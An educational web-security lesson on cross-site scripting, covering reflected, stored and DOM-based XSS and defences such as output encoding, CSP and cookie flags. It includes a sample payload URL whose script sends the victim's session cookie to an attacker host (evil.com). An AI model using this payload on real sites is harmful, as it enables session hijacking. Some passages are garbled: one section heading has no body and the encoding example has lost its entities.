After this lesson you can explain what XSS is and why it differs from SQL Injection, describe the three XSS types (Reflected, Stored, DOM-based), explain how Stored XSS enables persistent session hijacking through cookie theft, explain the role of Content Security Policy (CSP) in blocking unauthorised scripts, and describe the HTTPOnly and Secure cookie flags as a key defence against cookie theft.
SQL Injection targets the server — it manipulates a database. Cross-Site Scripting (XSS) targets the user — it injects malicious JavaScript into a web page that executes in the victim's browser, in the context of the trusted site. Because the script runs from within the trusted domain, the browser does not treat it as foreign. The script has access to everything on the page: the DOM, stored cookies, session tokens, form inputs, and potentially the ability to make authenticated requests to the server.
XSS has appeared on the OWASP Top 10 since the list's inception and remains one of the most prevalent web application vulnerabilities. Its popularity as an attack vector is driven by the ubiquity of web applications, the wide range of browser APIs accessible to injected scripts, and the fact that the attack is invisible to the victim — they see no indication that a script is exfiltrating their session cookie to a remote server.
The root cause mirrors SQL Injection: user-supplied content is rendered in a page without proper encoding, allowing the browser to interpret it as HTML and JavaScript rather than as text. The fix is equally clear: encode all output before rendering it in a browser context. And like SQLi, the vulnerability persists because it is not always obvious which data paths require encoding and because legacy codebases often predate awareness of the issue.
1. The Three Types of Cross-Site Scripting
🔁 Reflected XSS (Non-Persistent)
The malicious script is embedded in a URL parameter. When the victim clicks the crafted URL, the server includes the parameter's value in the HTML response — without encoding it — and the browser executes it. The script exists only in the URL; it is not stored anywhere on the server.
Example attack chain: Attacker crafts a URL to a vulnerable search page: https://portal.example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> — the victim clicks the link (delivered via email or social media), the script fires in their browser, and their session cookie is sent to the attacker's server.
💾 Stored XSS (Persistent)
The malicious script is stored permanently in the server's database — in a comment field, a message, a profile description, a vessel name, or any user-submitted content that is later retrieved and displayed to other users. Every user who views the page containing the stored script becomes a victim. No interaction beyond visiting the page is required.
Why it is more dangerous: Stored XSS does not require social engineering to deliver. An attacker who gains access to any input field that persists data can attack every subsequent visitor — potentially including administrators, whose elevated session tokens are of particular value. A single injected payload in a fleet management portal's vessel name field or crew comment section could persist until the database is cleansed.
🔧 DOM-based XSS
The vulnerability exists entirely in client-side JavaScript. The page's own JavaScript reads an attacker-controlled value (from the URL hash, a query parameter, or document.referrer) and writes it into the DOM without encoding. The server sends a perfectly safe response — the malicious script is constructed by the browser itself from the attacker-controlled source. DOM-based XSS is particularly difficult to detect with server-side scanners because the vulnerability is invisible in server responses.
location.hash or URLSearchParams values to render page content without encoding.2. What an XSS Payload Can Do
3. Defences — How to Prevent XSS
📝 Output Encoding
The primary defence. Before any user-supplied data is rendered in an HTML page, it must be HTML-encoded so that special characters are converted to their safe representation: < becomes <, > becomes >, and so on. The browser renders these as text characters, never as HTML tags or script elements. Context-aware encoding must be applied — HTML encoding, JavaScript encoding, and URL encoding are different and context-specific.
🛡️ Content Security Policy (CSP)
CSP is an HTTP response header that tells the browser which script sources it is allowed to execute. A properly configured CSP blocks all inline scripts (<script> tags injected via XSS) and limits external scripts to approved domains. Even if an XSS vulnerability exists, CSP prevents the injected script from executing. A strict CSP is one of the most effective compensating controls against XSS exploitation.
🍪 HTTPOnly Cookie Flag
Setting the HttpOnly flag on session cookies prevents JavaScript from accessing them — document.cookie will not include HttpOnly cookies. This eliminates the most common XSS payload objective: cookie theft. The attacker can still perform actions in the browser context, but cannot extract the session token to authenticate from another machine.
🔐 Secure Cookie Flag & SameSite
The Secure flag ensures cookies are only sent over HTTPS connections, preventing interception on unencrypted channels. The SameSite attribute (Strict or Lax) controls whether cookies are sent with cross-site requests, reducing the risk of Cross-Site Request Forgery (CSRF) and some XSS-assisted attacks.
- XSS injects malicious JavaScript into a trusted web page, which executes in the victim's browser with the page's full DOM access.
- Reflected XSS is delivered via crafted URLs; Stored XSS persists in the server database and attacks every visitor; DOM-based XSS exists entirely in client-side JavaScript.
- The most common XSS objective is cookie theft — stealing the session token to authenticate as the victim without needing a password.
- Output encoding (HTML-encoding all user-supplied data before rendering) is the primary defence.
- The HTTPOnly cookie flag prevents JavaScript from reading session cookies, eliminating cookie theft even when XSS is present.
- Content Security Policy (CSP) prevents injected scripts from executing — a critical compensating control for applications where encoding all outputs is complex.
- A quick test: enter
<b>test</b>in input fields and check if "test" renders bold. Bold output means no output encoding.
Lesson 12 — Zero-Day Vulnerabilities and Exploits covers software flaws unknown to the vendor — the CVE lifecycle, zero-day vs N-day threats, real-world cases (EternalBlue, Log4Shell, Stuxnet), and why maritime OT systems face heightened zero-day exposure. We also cover the key defences: patch management, virtual patching, and network segmentation.
⚓ Join the ShipPaulJobs Community
Join →
Comments
Post a Comment